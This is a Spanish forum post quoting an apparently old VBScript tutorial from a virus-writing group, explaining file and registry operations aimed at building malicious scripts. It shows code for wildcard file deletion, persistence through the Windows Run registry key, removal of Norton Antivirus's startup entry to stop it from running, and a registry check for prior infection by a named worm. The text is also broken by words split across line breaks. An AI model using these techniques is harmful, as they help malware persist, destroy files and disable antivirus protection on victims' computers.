Eso es muy facil, solo hay qe buscar un poquillo, mira aqi te dejo un manual qe hace ambas cosas y qe va rulando por la web ya desde hace tiempo...
===============================================================================
==========================El Objeto Scripting.File
SystemObject=========================
===============================================================================
Es necesario para poder usar los siguientes comandos en un VBS, el objeto nos sirve para manipular acciones con
archivos y carpetas.
Nota: Podemos realizar acciones con los archivos definiendo una ruta o sin ella, borrar archivo, copiar carpetas etc.
Si pones ".\" el VBS realizara la accion en la carpeta actual
Si pones "C:\" el VBS realizara la accion en la ruta especificada, en este caso es la C
No es necesario definir el objeto cada vez que utilicemos un comando que lo necesite, solo si queremos cambiar
la variable que la utilizaba.
---------------------------------------------------------------------------------------------------------------------
Copiar archivos
---------------------------------------------------------------------------------------------------------------------
CopyFile
Con este comando, podemos copiar archivos en la pc.
Ejemplo:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Copy
File ".\ejemplo_Copyfile.vbs","C:\muere_perro.txt"
Copia el archivo "ejemplo_Copyfi
le.vbs" como "muere_perro.tx
t" en la unidad C, puedes copiar otros archivos
aparte del mismo vbs.
---------------------------------------------------------------------------------------------------------------------
Mover archivos
---------------------------------------------------------------------------------------------------------------------
MoveFile
Con este comando, podemos mover archivos de la pc.
Ejemplo:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Move
File ".\ejemplo_MoverArchivo.vbs", "C:\ejemplo_MoverArchivo.vbs"
Esto mueve el archivo "ejemplo_MoverA
rchivo.vbs" a C, puedes mover otros archivos aparte del mismo vbs.
---------------------------------------------------------------------------------------------------------------------
Borrar archivos
---------------------------------------------------------------------------------------------------------------------
DeleteFile
Con este comando borramos archivos en la pc.
Ejemplo:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Dele
teFile "C:\muere_perro.txt"
Esto borrara el archivo "muere_perro.tx
t" de la unidad C. Si pones *.* ¡borraria todos los archivos!, ¡cuidado!
---------------------------------------------------------------------------------------------------------------------
Crear una carpeta
---------------------------------------------------------------------------------------------------------------------
CreateFolder
Sirve para crear carpetas en el pc.
Ejemplo:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Crea
teFolder "C:\muere_perro"
Esto creara la carpeta "muere_perro" en la unidad C
---------------------------------------------------------------------------------------------------------------------
Borrar una carpeta
---------------------------------------------------------------------------------------------------------------------
DeleteFolder
Este comando sirve para borrar carpetas.
Ejemplo:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Dele
teFolder "C:\muere_perro"
Esto borrara la carpeta "muere_perro" de la unidad C. Si pones *.* borraria todos las carpetas!
---------------------------------------------------------------------------------------------------------------------
Crear un archivo
---------------------------------------------------------------------------------------------------------------------
CreateTextFile
Sirve para crear archivos en la pc.
Set zonavirus = CreateObject("Scripting.File
SystemObject")
zonavirus.Crea
teTextFile "C:\muere_perro.mp3"
Esto creara el archivo "muere_perro.mp
3" en la unidad C, si el archivo existe este sera remplazado, en el siguiente
segmento veremos la manera de verificar si existe el archivo y evitar sobreescribirl
o.
---------------------------------------------------------------------------------------------------------------------
Crea un archivo y escribe dentro de el
---------------------------------------------------------------------------------------------------------------------
Esto es algo mas complicado, no tan facil como lo que hemos visto anteriormente pero es escencial si queremos
dejar archivos con mensajes. Primero definiremos los comandos o palabras claves que se pueden utilizar en este
procedimiento.
Ahora la sintaxis al crear un archivo difiere un poco porque con "True" y "False" podemos verificar si existe un
archivo con el nombre que elegimos y podemos decidir si sobreescribirl
o o detener la ejecucion de la rutina de
escritura.
Como queremos crear un archivo y ademas escribir en el, quizas decenas de lineas debemos de manejar dos
variables. Esto es para no estar definiendo una y otra vez el nombre del archivo donde vamos a escribir.
Lo haremos de la siguiente manera, en una variable incluiremos el objeto a utlizar que en este caso es "Scripting.File
SystemObject" y en otra variable le asignaremos el valor del comando que se encargara de crear el
archivo
Las variables que utilizare para este ejemplo seran:
zonavirus = para el objeto
virus = para el comando que crea el archivo donde escribiremos
Las lineas del programa que iran de la siguiente manera:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
Set virus = zonavirus.Crea
teTextFile ("c:\muere_perro.txt", True)
Esto en español quiere decir:
La variable "zonavirus" equivale al objeto "Scripting.File
SystemObject"
La variable "virus" equivale a la variable zonavirus que crea el archivo
"muere_perro.tx
t" donde escribiremos.
Veamos los comandos que usaremos para escribrir en un archivo.
Comandos al crear el archivo:
True = exista o no exista se escribe en el archivo
False = si el archivo existe no lo sobreescribira
Comandos al escribir en el archivo:
Write = este permite escribir en un solo renglon
WriteLine = sirve para escribir en una linea
WriteBlankLine
s = sirve para colocar lineas en blanco en el archivo
Close = cierra el archivo
Ejemplo de la escritura en un archivo con todos los comandos definidos:
Set zonavirus = CreateObject("Scripting.File
SystemObject")
Set virus = zonavirus.Crea
teTextFile (".\muere_perro.txt", True)
virus.WriteLin
e "-------------------------------------"
virus.WriteLin
e "Tutorial de VBS"
virus.Write "p"
virus.Write "o"
virus.Write "r"
virus.WriteBla
nkLines "1"
virus.WriteLin
e "Kuasanagui"
virus.WriteBla
nkLines "2"
virus.WriteLin
e "¡ENTRA A MI CANAL EN EL MIRC!"
virus.WriteBla
nkLines "1"
virus.WriteLin
e "SERVER: TABASCO.CHATMI
RC.COM"
virus.WriteLin
e "PORT:6667"
virus.WriteLin
e "CANAL:ZONAVIRUS"
virus.WriteBla
nkLines "1"
virus.WriteLin
e "-------------------------------------"
virus.Close
Esto creara el archivo "muere_perro.tx
t", "False" hara que si el archivo existe no sea sobreescrito, si no existe,
escribira unas palabras y despues lo cerrara.
===============================================================================
=============================El Objeto WScript.Shell=============================
===============================================================================
Para poder usar los siguientes comandos en un VBS, hay que definir el objeto que manipula acciones con archivos.
Con este podemos realizar acciones distintas que con el objeto anterior, como ejecutar archivos, abrir el explorador,
escribir en el registro, etc.
---------------------------------------------------------------------------------------------------------------------
Ejecutar y/o abrir archivos o paginas web
---------------------------------------------------------------------------------------------------------------------
Run
Sirve para ejecutar archivos y abrir paginas web.
Ejemplo:
On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.Run "C:\muere_perro.txt"
Esto ejecutara el archivo "muere_perro.tx
t" si este existe en la ruta actual, Si escibes un URL este seria abierto
por el navegador de internet, pero es necesario que pongas las "www", como
Para ver este enlace Registrate o Inicia Sesionwww.geocities. com/zonavirus;
y si
la url no comienza con "www", tienes que anteponer el "http:\\", como http:\\gedzaclabs.host.sk
---------------------------------------------------------------------------------------------------------------------
Crea y/o modificar una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------
RegWrite
Con este comando podemos escribir en el registro de Windows
Ejemplo:
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegW
rite "HKEY_CLASSES_R
OOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
\InfoTip","Tutorial de VBS por Kuasanagui"
Modifica el mensaje que muestra el windows al pasar el mouse en el icono "MI PC" y le pone otro valor, en este
caso le cambia el mensaje que desplegaba, compruebalo ejecutando el vbs de ejemplo y despues pasando el mouse
sobre el icono "MI PC" y veras.
Si quieres que tu VBS sea residente lo que puedes hacer es crear una linea en el registro que servira para que el
VBS se ejecute a cada inicio de Windows, haciendose residente.
Ejemplo:
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegW
rite "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run\Kuasanagui",
"C:\ejemplo_residente.vbs"
Esto hara que el archivo "ejemplo_reside
nte.vbs" se ejecute cada vez que se inicie Windows, siempre y cuando el
VBS exista en C:
---------------------------------------------------------------------------------------------------------------------
Borrar una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------
RegDelete
Borra entradas de registro
Ejemplo:
On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
zonavirus.RegD
elete "HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\Run\
NAV Agent"
Borra la entrada de registro declarada, si no existe, omite el error y no hace nada. En este caso, la clave que inicia
a Norton Antivirus 2002, esto hara que no se ejecute el NAV2002.
---------------------------------------------------------------------------------------------------------------------
Lee una entrada de registro de Windows
---------------------------------------------------------------------------------------------------------------------
RegRead
Sirve para verificar los valores de una entrada de registro. Por ejemplo, el VBS puede saber leyendo una entrada
de registro si se encuentra infectado la PC, y si no, proceder con la infecccion.
La entrada de registro a leer debe de estrar dentro de parentesis y comillas... bueno a mi solo me funciona asi. =P
Ejemplo:
On Error Resume Next
Set zonavirus = CreateObject("WScript.Shell")
X = zonavirus.regR
ead ("HKEY_LOCAL_MAC
HINE\Software\Microsoft\Windows\CurrentVersion\GEDZAC")
If X = "1" Then
MsgBox "Esta Pc esta infectada con el Worm.P2P.Torre
sGemelas"
Else
MsgBox "Esta Pc esta NO infectada con el Worm.P2P.Torre
sGemelas"
End If
ala con esto creo k tienes suficiente... xD
Autor